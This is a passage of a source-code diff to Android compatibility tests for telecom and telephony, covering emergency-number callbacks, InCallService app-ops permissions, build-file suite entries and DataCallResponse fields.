 import android.telecom.TelecomManager;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
+import android.telephony.emergency.EmergencyNumber;
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
@@ -118,14 +122,45 @@
         assertNotAudioRoute(mInCallCallbacks.getService(), CallAudioState.ROUTE_SPEAKER);
     }
 
-    public void testPhoneStateListenerInvokedOnOutgoingEmergencyCall() throws Exception {
+    public void testPhoneStateListenerInvokedOnOutgoingEmergencyCall() throws Throwable {
         if (!mShouldTestTelecom) {
             return;
         }
         TestUtils.setSystemDialerOverride(getInstrumentation());
+        TestUtils.setTestEmergencyPhoneAccountPackageFilter(getInstrumentation(), mContext);
         TestUtils.addTestEmergencyNumber(getInstrumentation(), TEST_EMERGENCY_NUMBER);
-        mTelecomManager.placeCall(Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null), null);
-        verifyPhoneStateListenerCallbacksForEmergencyCall(TEST_EMERGENCY_NUMBER);
+        Map<Integer, List<EmergencyNumber>> emergencyNumbers = null;
+
+        for (int i = 0; i < 5; i++) {
+            emergencyNumbers = mPhoneStateListener.waitForEmergencyNumberListUpdate(
+                    TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+            assertNotNull("Never got an update that the test emergency number was registered",
+                    emergencyNumbers);
+            if (doesEmergencyNumberListContainTestNumber(emergencyNumbers)) {
+                break;
+            }
+        }
+        assertTrue("Emergency number list from telephony still doesn't have the test number",
+                doesEmergencyNumberListContainTestNumber(emergencyNumbers));
+
+        try {
+            Bundle extras = new Bundle();
+            extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                    TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+            mTelecomManager.placeCall(Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null), extras);
+
+            verifyPhoneStateListenerCallbacksForEmergencyCall(TEST_EMERGENCY_NUMBER);
+        } finally {
+            TestUtils.removeTestEmergencyNumber(getInstrumentation(), TEST_EMERGENCY_NUMBER);
+            TestUtils.clearTestEmergencyPhoneAccountPackageFilter(getInstrumentation());
+        }
+    }
+
+    private boolean doesEmergencyNumberListContainTestNumber(
+            Map<Integer, List<EmergencyNumber>> emergencyNumbers) {
+        return emergencyNumbers.values().stream().flatMap(List::stream)
+                .anyMatch(numberObj ->
+                        Objects.equals(numberObj.getNumber(), TEST_EMERGENCY_NUMBER));
     }
 
     public void testPhoneStateListenerInvokedOnOutgoingCall() throws Exception {
@@ -191,6 +226,7 @@
         assertEquals(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, conn.getPhoneAccountHandle());
 
         cleanupCalls();
+        assertCtsConnectionServiceUnbound();
         CtsConnectionService.tearDown();
         setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
index fcef1b2..fa0deda 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
@@ -16,12 +16,16 @@
 
 package android.telecom.cts;
 
+import static com.android.compatibility.common.util.ShellIdentityUtils
+        .invokeMethodWithShellPermissionsNoReturn;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
+import android.app.AppOpsManager;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
 import android.net.Uri;
@@ -35,6 +39,7 @@
 
     private static final String TEST_EMERGENCY_NUMBER = "5553637";
     private static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
+    private static final String CTS_TELECOM_PKG = TelecomManagerTest.class.getPackage().getName();
 
     public void testGetCurrentTtyMode() {
         if (!mShouldTestTelecom) {
@@ -57,6 +62,28 @@
         }
     }
 
+    public void testHasCompanionInCallServiceAccess() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        AppOpsManager appOpsManager = mContext.getSystemService(AppOpsManager.class);
+        PackageManager packageManager = mContext.getPackageManager();
+        try {
+            final int uid = packageManager.getApplicationInfo(CTS_TELECOM_PKG, 0).uid;
+            invokeMethodWithShellPermissionsNoReturn(appOpsManager,
+                    (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                            uid, AppOpsManager.MODE_ALLOWED));
+            assertTrue(mTelecomManager.hasCompanionInCallServiceAccess());
+            invokeMethodWithShellPermissionsNoReturn(appOpsManager,
+                    (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                            uid, AppOpsManager.opToDefaultMode(
+                                    AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS)));
+            assertFalse(mTelecomManager.hasCompanionInCallServiceAccess());
+        } catch (PackageManager.NameNotFoundException ex) {
+            fail("Couldn't get uid for android.telecom.cts");
+        }
+    }
+
     public void testTtyModeBroadcasts() {
         // We only expect the actual tty mode to change if there's a wired headset plugged in, so
         // don't do the test if there isn't one plugged in.
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java
new file mode 100644
index 0000000..446c67c
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.TEST_PHONE_ACCOUNT_HANDLE;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+
+import static com.android.compatibility.common.util.ShellIdentityUtils
+        .invokeMethodWithShellPermissionsNoReturn;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.AppOpsManager;
+import android.app.UiModeManager;
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telecom.TelecomManager;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+import android.telecom.cts.thirdptyincallservice.ICtsThirdPartyInCallServiceControl;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ThirdPartyInCallServiceAppOpsPermissionTest extends BaseTelecomTestWithMockServices {
+
+    private static final String TAG = ThirdPartyInCallServiceAppOpsPermissionTest
+            .class.getSimpleName();
+    private static final String THIRD_PARITY_PACKAGE_NAME = CtsThirdPartyInCallService
+            .class.getPackage().getName();
+    private static final Uri TEST_URI = Uri.parse("tel:555-TEST");
+    private Context mContext;
+    private AppOpsManager mAppOpsManager;
+    private PackageManager mPackageManager;
+    private TelecomManager mTelecomManager;
+    ICtsThirdPartyInCallServiceControl mICtsThirdPartyInCallServiceControl;
+    private boolean mExpectedTearDownBindingStatus;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mContext = getInstrumentation().getContext();
+        mAppOpsManager = mContext.getSystemService(AppOpsManager.class);
+        mPackageManager = mContext.getPackageManager();
+        mTelecomManager = mContext.getSystemService(TelecomManager.class);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        setUpControl();
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(false);
+        mExpectedTearDownBindingStatus = true;
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mICtsThirdPartyInCallServiceControl.resetCalls();
+        super.tearDown();
+        if (mExpectedTearDownBindingStatus) {
+            assertBindStatus(/* true: bind, false: unbind */false, /* expected result */true);
+        }
+    }
+
+    public void testWithoutAppOpsPermission() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setInCallServiceAppOpsPermission(false);
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(TEST_URI, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */false);
+        assertCallCount(previousCallCount);
+        // Third Party InCallService hasn't been bound yet, unbound latch can be null when tearDown.
+        mExpectedTearDownBindingStatus = false;
+    }
+
+    public void testWithAppOpsPermission() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Grant App Ops Permission
+        setInCallServiceAppOpsPermission(true);
+
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(TEST_URI, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */true);
+        assertCallCount(previousCallCount + 1);
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
+
+        // Revoke App Ops Permission
+        setInCallServiceAppOpsPermission(false);
+    }
+
+    /**
+     *
+     * @param bind: check the status of InCallService bind latches.
+     *             Values: true (bound latch), false (unbound latch).
+     * @param success: whether the latch should have counted down.
+     */
+    private void assertBindStatus(boolean bind, boolean success) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return success;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.checkBindStatus(bind);
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when checking bind status: " + re);
+                    return false;
+                }
+            }
+        }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "Unable to " + (bind ? "Bind" : "Unbind")
+                + " third party in call service");
+    }
+
+    private void assertCallCount(int expected) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return expected;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when getting local call count: " + re);
+                    return -1;
+                }
+            }
+         }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Failed to match localCallCount and expected: " + expected);
+    }
+
+    private void setUpControl() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsThirdPartyInCallServiceControl.CONTROL_INTERFACE_ACTION);
+        // mContext is android.telecom.cts, which doesn't include thirdptyincallservice.
+        ComponentName controlComponentName =
+              ComponentName.createRelative(
+                    CtsThirdPartyInCallServiceControl.class.getPackage().getName(),
+                            CtsThirdPartyInCallServiceControl.class.getName());
+
+        bindIntent.setComponent(controlComponentName);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                Log.i(TAG, "Service Connected: " + name);
+                mICtsThirdPartyInCallServiceControl =
+                        ICtsThirdPartyInCallServiceControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mICtsThirdPartyInCallServiceControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private void setInCallServiceAppOpsPermission(boolean allow)
+            throws PackageManager.NameNotFoundException {
+        int uid = mPackageManager.getApplicationInfo(THIRD_PARITY_PACKAGE_NAME, 0).uid;
+        invokeMethodWithShellPermissionsNoReturn(mAppOpsManager,
+              (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                      uid, allow ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(
+                              AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS)));
+    }
+}
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index 15a82ac..9d1a7fd 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -23,6 +23,7 @@
 
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index 1488d12..b2f5775 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -24,6 +24,7 @@
 
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 5bc7338..3a0b476 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -24,6 +24,7 @@
 
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 2aeb3c9..ac83a84 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -23,6 +23,7 @@
 
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 1d4e2cf..8bd31d9 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -20,6 +20,9 @@
         "src/android/telephony/ims/cts/TestMmTelFeature.java",
         "src/android/telephony/ims/cts/TestImsSmsImpl.java",
         "src/android/telephony/ims/cts/TestImsConfig.java",
+        "src/android/telephony/ims/cts/TestSipTransport.java",
+        "src/android/telephony/ims/cts/TestSipDelegate.java",
+        "src/android/telephony/ims/cts/TestSipDelegateConnection.java",
         "src/android/telephony/ims/cts/ImsUtils.java",
     ],
     path: "src/",
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index b89abd4..fb79bb1 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -27,6 +27,7 @@
     sdk_version: "test_current",
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 865d992..4721538 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -10,6 +10,7 @@
     sdk_version: "test_current",
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
index 7502492..2635472 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
@@ -7,6 +7,7 @@
     sdk_version: "test_current",
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ],
 }
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
index 560cb65..eb77c19 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -15,6 +15,7 @@
     sdk_version: "test_current",
     test_suites: [
         "cts",
+        "general-tests",
         "mts",
     ]
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index c93d62b..e91f3f6 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -163,6 +163,10 @@
             assertEquals("KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL doesn't match static default.",
                     config.getBoolean(CarrierConfigManager.KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL),
                     false);
+
+            assertEquals("KEY_CARRIER_USSD_METHOD_INT doesn't match static default.",
+                    config.getInt(CarrierConfigManager.KEY_CARRIER_USSD_METHOD_INT),
+                            CarrierConfigManager.USSD_OVER_CS_PREFERRED);
         }
 
         // These key should return default values if not customized.
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 6adf5fc..86b4dde 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -57,6 +57,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -216,6 +218,9 @@
     }
 
     private boolean isCamped() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+
         ServiceState ss = mTm.getServiceState();
         if (ss == null) return false;
         return (ss.getState() == ServiceState.STATE_IN_SERVICE
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 1ec1c81..485575c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -16,6 +16,9 @@
 
 package android.telephony.cts;
 
+import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK;
+import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_LEGACY;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.net.InetAddresses;
@@ -32,7 +35,7 @@
 
 public class DataCallResponseTest {
     private static final int CAUSE = 0;
-    private static final int RETRY = -1;
+    private static final long RETRY = -1L;
     private static final int ID = 1;
     private static final int LINK_STATUS = 2;
     private static final int PROTOCOL_TYPE = ApnSetting.PROTOCOL_IP;
@@ -47,12 +50,14 @@
             Arrays.asList(InetAddresses.parseNumericAddress("22.33.44.55"));
     private static final int MTU_V4 = 1440;
     private static final int MTU_V6 = 1400;
+    private static final int HANDOVER_FAILURE_MODE = HANDOVER_FAILURE_MODE_DO_FALLBACK;
+    private static final int PDU_SESSION_ID = 5;
 
     @Test
     public void testConstructorAndGetters() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryIntervalMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -63,10 +68,12 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         assertThat(response.getCause()).isEqualTo(CAUSE);
-        assertThat(response.getSuggestedRetryTime()).isEqualTo(RETRY);
+        assertThat(response.getRetryIntervalMillis()).isEqualTo(RETRY);
         assertThat(response.getId()).isEqualTo(ID);
         assertThat(response.getLinkStatus()).isEqualTo(LINK_STATUS);
         assertThat(response.getProtocolType()).isEqualTo(PROTOCOL_TYPE);
@@ -77,13 +84,15 @@
         assertThat(response.getPcscfAddresses()).isEqualTo(PCSCFS);
         assertThat(response.getMtuV4()).isEqualTo(MTU_V4);
         assertThat(response.getMtuV6()).isEqualTo(MTU_V6);
+        assertThat(response.getHandoverFailureMode()).isEqualTo(HANDOVER_FAILURE_MODE_DO_FALLBACK);
+        assertThat(response.getPduSessionId()).isEqualTo(PDU_SESSION_ID);
     }
 
     @Test
     public void testEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryIntervalMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -94,11 +103,13 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         DataCallResponse equalsResponse = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryIntervalMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -109,6 +120,8 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         assertThat(response).isEqualTo(equalsResponse);
@@ -118,7 +131,7 @@
     public void testNotEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryIntervalMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -129,11 +142,13 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
                 .setCause(1)
-                .setSuggestedRetryTime(-1)
+                .setRetryIntervalMillis(-1)
                 .setId(1)
                 .setLinkStatus(3)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -144,6 +159,8 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(1441)
                 .setMtuV6(1440)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE_LEGACY)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         assertThat(response).isNotEqualTo(notEqualsResponse);
@@ -155,7 +172,7 @@
     public void testParcel() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryIntervalMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -166,6 +183,8 @@
                 .setPcscfAddresses(PCSCFS)
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
+                .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
                 .build();
 
         Parcel stateParcel = Parcel.obtain();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
deleted file mode 100644
index 38c80b8..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static org.junit.Assert.assertNotEquals;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.os.SystemProperties;
-import android.telephony.TelephonyManager;
-import android.content.res.Resources;
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-
-public class IwlanModeTest {
-    private TelephonyManager mTelephonyManager;
-
-    private PackageManager mPackageManager;
-
-    private Context mContext;
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-        mPackageManager = mContext.getPackageManager();
-        mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
-    }
-
-    @Test
-    public void testIwlanMode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        // All new devices should not enable IWLAN legacy mode. Legacy mode is for existing old
-        // devices.
-        if (mTelephonyManager.getRadioHalVersion().first >= 1
-                && mTelephonyManager.getRadioHalVersion().second >= 5) {
-            String mode = SystemProperties.get("ro.telephony.iwlan_operation_mode");
-            assertNotEquals("legacy", mode);
-
-            Resources res = Resources.getSystem();
-            int id = res.getIdentifier("config_wlan_data_service_package", "string", "android");
-            String wlanDataServicePackage = res.getString(id);
-            assertNotEquals("", wlanDataServicePackage);
-            assertNotEquals("com.android.phone", wlanDataServicePackage);
-
-            id = res.getIdentifier("config_wlan_network_service_package", "string", "android");
-            String wlanNetworkServicePackage = res.getString(id);
-            assertNotEquals("", wlanNetworkServicePackage);
-            assertNotEquals("com.android.phone", wlanNetworkServicePackage);
-
-        }
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
index f5a8477..d4e2a28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
@@ -244,4 +244,10 @@
         NetworkRegistrationInfo newNrs = NetworkRegistrationInfo.CREATOR.createFromParcel(p);
         assertEquals(nri, newNrs);
     }
+
+    @Test
+    public void testGetNrState() {
+        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder().build();
+        assertEquals(nri.getNrState(), NetworkRegistrationInfo.NR_STATE_NONE);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index c80337c..92f5e44 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -23,7 +23,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
@@ -43,11 +42,13 @@
 import android.telephony.ServiceState;
 import android.telephony.SignalStrength;
 import android.telephony.SmsManager;
+import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyDisplayInfo;
 import android.telephony.TelephonyManager;
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsReasonInfo;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -60,6 +61,8 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
 public class PhoneStateListenerTest {
 
@@ -957,16 +960,17 @@
         TelephonyUtils.addTestEmergencyNumber(
                 InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
 
-        assertNull(mOnOutgoingSmsEmergencyNumberChanged);
+        LinkedBlockingQueue<Pair<EmergencyNumber, Integer>> smsCallbackQueue =
+                new LinkedBlockingQueue<>(1);
 
         mHandler.post(() -> {
             mListener = new PhoneStateListener() {
                 @Override
-                public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber) {
+                public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber,
+                        int subscriptionId) {
                     synchronized (mLock) {
                         Log.i(TAG, "onOutgoingEmergencySms: emergencyNumber=" + emergencyNumber);
-                        mOnOutgoingSmsEmergencyNumberChanged = emergencyNumber;
-                        mLock.notify();
+                        smsCallbackQueue.offer(Pair.create(emergencyNumber, subscriptionId));
                     }
                 }
             };
@@ -978,11 +982,12 @@
         });
 
         try {
-            synchronized (mLock) {
-                if (mOnOutgoingSmsEmergencyNumberChanged == null) {
-                    mLock.wait(WAIT_TIME);
-                }
-            }
